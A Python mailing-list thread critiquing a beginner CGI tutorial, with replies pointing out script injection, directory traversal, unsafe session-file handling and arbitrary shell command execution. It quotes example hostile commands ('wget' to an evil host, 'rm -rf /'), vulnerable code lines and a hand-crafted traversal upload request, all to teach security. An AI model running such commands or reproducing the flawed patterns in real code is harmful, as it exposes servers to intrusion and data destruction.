CGI Tutorial

[Clodoaldo Pinto Neto]

I'm just building a Python CGI Tutorial and would appreciate any
feedback from the many experts in this list.

Regards, Clodoaldo Pinto Neto

[Tim Chase]

Re: CGI Tutorial

I'm just building a Python CGI Tutorial and would appreciate

any feedback from the many experts in this list.

First item of feedback...post something on which to give
feedback, such as a link to the work in progress. :)

-tkc

[Clodoaldo Pinto Neto]

Re: CGI Tutorial

Clodoaldo Pinto Neto wrote:

I'm just building a Python CGI Tutorial and would appreciate any
feedback from the many experts in this list.

http://webpython.codepoint.net

[Clodoaldo Pinto Neto]

Re: CGI Tutorial

Clodoaldo Pinto Neto wrote:

I'm just building a Python CGI Tutorial and would appreciate any
feedback from the many experts in this list.

http://webpython.codepoint.net

[Tim Chase]

Re: CGI Tutorial

>I'm just building a Python CGI Tutorial and would appreciate any

>feedback from the many experts in this list.

>
http://webpython.codepoint.net

Thanks! :)

My first note would be regarding

http://webpython.codepoint.net/shell_commands

The code is very dangerous...all owing any ol' schmoe to run
arbitrary code on your server. At the barest of minimums, I'd
plaster the code with warnings that this is a Very Dangerous
Thing(tm) to do. Preferably, one would want to have fixed sets
of commands, something like

install_django = 'curl...'
if command=='insta ll_django': sub.Popen(insta ll_django, ...)

so that only trusted code is run, not arbitrary things like

'wget -r http://evil.example.co m'

or

'rm -rf /'

which would just be bad.

Similarly, regarding

http://webpython.codepoint.net/debugging

you might want to caution that this will/can display potentially
sensitive information (passwords, internal file-structure, etc),
and thus should only be used while debugging, and turned off in
any sort of production code.

The section on single vs. multiple field names was pretty good at
giving a nice overview that there are *two* scenarios one might
encounter.

Just a little feedback, whether from an expert or otherwise. :)

-tkc

[Clodoaldo Pinto Neto]

Re: CGI Tutorial

2006/10/4, Tim Chase <python.list@ti m.thechases.com >:

I'm just building a Python CGI Tutorial and would appreciate any
feedback from the many experts in this list.

http://webpython.codepoint.net

>
>
Thanks! :)
>
My first note would be regarding
>

http://webpython.codepoint.net/shell_commands

>
The code is very dangerous...all owing any ol' schmoe to run
arbitrary code on your server. At the barest of minimums, I'd
plaster the code with warnings that this is a Very Dangerous
Thing(tm) to do.

I though the danger was so obvious that i didn't bother. Now i have
issued a warning.

Similarly, regarding
>

http://webpython.codepoint.net/debugging

>
you might want to caution that this will/can display potentially
sensitive information (passwords, internal file-structure, etc),
and thus should only be used while debugging, and turned off in
any sort of production code.

Yes, another warning was issued.

Thanks for your help. Clodoaldo Pinto Neto

[accurrent@gmail.com]

Re: CGI Tutorial

Several times you improperly spell "syntax" "sintax". Other than that
it appears to be an excellent tutorial.
Clodoaldo Pinto Neto wrote:

I'm just building a Python CGI Tutorial and would appreciate any
feedback from the many experts in this list.
>
Regards, Clodoaldo Pinto Neto

[Gerold Penz]

Re: CGI Tutorial

Clodoaldo Pinto Neto schrieb:

>

http://webpython.codepoint.net

>

Great tutorial -- Thanks a lot!!!

:D

--
_______________ _______________ _______________ _______________ ____________
Gerold Penz - bcom - Programmierung
gerold.penz@tir ol.utanet.at | http://gerold.bcom.at | http://sw3.at
Ehrliche, herzliche Begeisterung ist einer der
wirksamsten Erfolgsfaktoren . Dale Carnegie

[and-google@doxdesk.com]

Re: CGI Tutorial

Clodoaldo Pinto Neto wrote:

print '<p>The submited name was "' + name + '"</p>'

Bzzt! Script injection security hole. See cgi.escape and use it (or a
similar function) for *all* text -HTML output.

open('files/' + fileitem.filena me, 'w')

BZZZZZZT. filesystem overwriting security hole, possibly escalatable to
code execution. clue: fileitem.filena me= '../../something.py'

sid = cookie['sid'].value
session = shelve.open('/tmp/.session/sess_' + sid

Bad filename use allows choice of non-session files, opening with
shelve allows all sorts of pickle weirdnesses. Just use strings.

p = sub.Popen(str_c ommand,

o.O

Sure this stuff may not matter for Hello World on a test server, but if
you're writing a tutorial you should ensure newbies know the Right Way
to do it from the start. The proliferation of security-oblivious PHP
tutorials is directly responsible for the disasterous amount of
script-injection- and SQL-injection-vulnerable webapps out there -
let's not have the same for Python.

--
And Clover
mailto:and@doxd esk.com

http://www.doxdesk.com/

[Steve Holden]

Re: CGI Tutorial

and-google@doxdesk. com wrote:

Clodoaldo Pinto Neto wrote:
>
>

>>print '<p>The submited name was "' + name + '"</p>'

>
>
Bzzt! Script injection security hole. See cgi.escape and use it (or a
similar function) for *all* text -HTML output.
>
>

>>open('files/' + fileitem.filena me, 'w')

>
>
BZZZZZZT. filesystem overwriting security hole, possibly escalatable to
code execution. clue: fileitem.filena me= '../../something.py'
>

Technically this subclass of canonicalizatio n error is known as a
directory traversal bug.

>

>>sid = cookie['sid'].value
>>session = shelve.open('/tmp/.session/sess_' + sid

>
>
Bad filename use allows choice of non-session files, opening with
shelve allows all sorts of pickle weirdnesses. Just use strings.
>
>

>>p = sub.Popen(str_c ommand,

>
>
o.O
>
Sure this stuff may not matter for Hello World on a test server, but if
you're writing a tutorial you should ensure newbies know the Right Way
to do it from the start. The proliferation of security-oblivious PHP
tutorials is directly responsible for the disasterous amount of
script-injection- and SQL-injection-vulnerable webapps out there -
let's not have the same for Python.
>

I was teaching this week's class about SQL injection vulnerabilities
earlier today. One student mentioned estimates that *11%* of all
Internet web sites are vulnerable to such exploits. Another, a
policeman, pointed out that he'd had news just today of an injection
exploit on a major credit card company's web site. The number of credit
card numbers harvested by the attack has not yet been announced.

Credit card numbers should be encrypted in the database, of course, but
they rarely are (even by companies whose reputations imply they ought to
know better).

Yup, in the wacky world of the 21st century web if a thing's worth doing
it's worth screwing up completely ...

regards
Steve
--
Steve Holden +44 150 684 7255 +1 800 494 3119
Holden Web LLC/Ltd http://www.holdenweb.com
Skype: holdenweb http://holdenweb.blogspot.com
Recent Ramblings http://del.icio.us/steve.holden

[Daniel Nogradi]

Re: CGI Tutorial

I'm just building a Python CGI Tutorial and would appreciate any

feedback from the many experts in this list.
>
Regards, Clodoaldo Pinto Neto
>

Perhaps you want to post this to the mod_python list as well:

http://mailman.modpython.org/mailman/listinfo/mod_python

[Jim]

Re: CGI Tutorial

Clodoaldo Pinto Neto wrote:

I'm just building a Python CGI Tutorial and would appreciate any
feedback from the many experts in this list.

I'm not an expert, but I have written a lot of these and I have a
couple of $0.02's.

* All code you put in your writing needs to be correct. That is, on
the web you can't say something and later in the text say "but this has
a problem and needs to be tightened up" because people will paste in
code that they got from you and won't read the rest. They will.

Instead, you need the scripts to be right, from the start. Then you
say "Lets look at lines 1-5. The reason for those is ..".

* All cgi scripts need logging. Debugging cgi can be hard and you need
to have a place to write statements of the form log.debug("in
getValues(): value of x is %s" % (repr(x),)).

* You need a DEBUG variable:
from defaults import DEBUG
:
if DEBUG:
..

* I've been impressed by Guido's writing that a main() routine makes
sense. One reason is that you can more easily make unit tests.
Because testing cgi is so hard, this is especially useful in this
context. (I admit that I'm only a recent convert to this but it really
makes sense.)

So, continuing with my opinions as though they were facts, the skeleton
of all cgi's is something like this, IMHO:

import sys, os, os.path, urllib, cgi

from cgi import escape
from xml.sax.saxutil s import quoteattr

from defaults import DEBUG, LOGGING
THIS_SCRIPT=os. path.basename(s ys.argv[0])
LOGFILE_NAME=os .path.splitext( THIS_SCRIPT)[0]+'.log'

if DEBUG:
import cgitb
cgitb.enable()

# all kinds of functions here

def main(fs,argv=No ne,log=None,deb ug=False):
if argv is None:
argv=sys.argv
# logic here

if __name__=='__ma in__':
log=None
if LOGGING:
log=openLog(LOG FILE_NAME)
fs=cgi.FieldSto rage(keep_blank _values=1)
try:
main(fs,argv=sy s.argv,log=log, debug=DEBUG)
except StandardError, err:
mesg="General programming error"
bail(mesg,devel =mesg+":
error=%(err)s", log=log,debug=D EBUG,err=err)
except SystemExit, err: # bailed out in a subroutine
pass
sys.exit(0)

(where bail() is a routine that puts up an error page -- on that page,
I have one of two messages, the second of which, using the "devel"
string, only appears when DEBUG is True).

In my humble experience, all cgi programs should follow something like
that scheme.

You asked for an opinion! :-)
Jim

[hanumizzle]

Re: CGI Tutorial

On 5 Oct 2006 14:56:54 -0700, Jim <jhefferon@smcv t.eduwrote:

* You need a DEBUG variable:
from defaults import DEBUG
:
if DEBUG:
..

WADR, there is a more formal way to do this:

http://docs.python.org/ref/assert.html

Use -O to remove the assert statements, essentially: -O sets the
builtin var __debug__ to False.

(BTW, thank you for making a Linear Algebra textbook that an
innumerate dolt like myself can almost understand.)

-- Theerasak

[Clodoaldo Pinto Neto]

Re: CGI Tutorial

and-google@doxdesk. com wrote:

Clodoaldo Pinto Neto wrote:
>

print '<p>The submited name was "' + name + '"</p>'

>
Bzzt! Script injection security hole. See cgi.escape and use it (or a
similar function) for *all* text -HTML output.
>

open('files/' + fileitem.filena me, 'w')

>
BZZZZZZT. filesystem overwriting security hole, possibly escalatable to
code execution. clue: fileitem.filena me= '../../something.py'

Do you think os.path.basenam e() is good enough?
=============== =========
#!/usr/bin/env python
import cgi, os.path

form = cgi.FieldStorag e()
fileitem = form['file']
fn = fileitem.filena me
fnb = os.path.basenam e(fn)

print """\
Content-Type: text/plain\n
filename = "%s"
basename = "%s"
""" % (fn, fnb)
=============== =========

[cpn@dkt ~]$ nc teste.s0 80
POST /cgi-bin/dir_traversal.p y HTTP/1.1
Host: teste.s0
Content-Type: multipart/form-data;
boundary=---------------------------170451527316340 742161395972977
Content-Length: 226

-----------------------------170451527316340 742161395972977
Content-Disposition: form-data; name="file"; filename="../test.txt"
Content-Type: text/plain

file text

-----------------------------170451527316340 742161395972977--
HTTP/1.1 200 OK
Date: Fri, 06 Oct 2006 20:48:58 GMT
Server: Apache/2.2.2 (Fedora)
Content-Length: 48
Content-Type: text/plain; charset=UTF-8

filename = "../test.txt"
basename = "test.txt"


Regards, Clodoaldo

[Lawrence D'Oliveiro]

Re: CGI Tutorial

In message <mailman.1374.1 160073684.10491 .python-list@python.org >, Steve
Holden wrote:

Credit card numbers should be encrypted in the database, of course, but
they rarely are (even by companies whose reputations imply they ought to
know better).

How would encryption help? They'd still have to be decrypted to be used.